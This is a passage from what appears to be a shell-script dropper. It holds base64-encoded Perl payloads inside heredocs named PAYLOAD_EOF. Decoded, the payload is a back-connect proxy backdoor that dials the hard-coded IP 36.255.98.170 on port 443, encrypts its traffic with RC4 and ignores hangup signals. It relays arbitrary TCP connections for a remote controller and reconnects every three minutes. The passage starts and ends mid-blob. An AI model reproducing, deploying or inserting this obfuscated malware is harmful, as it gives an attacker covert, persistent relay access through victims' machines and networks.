bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_12() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzAnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ 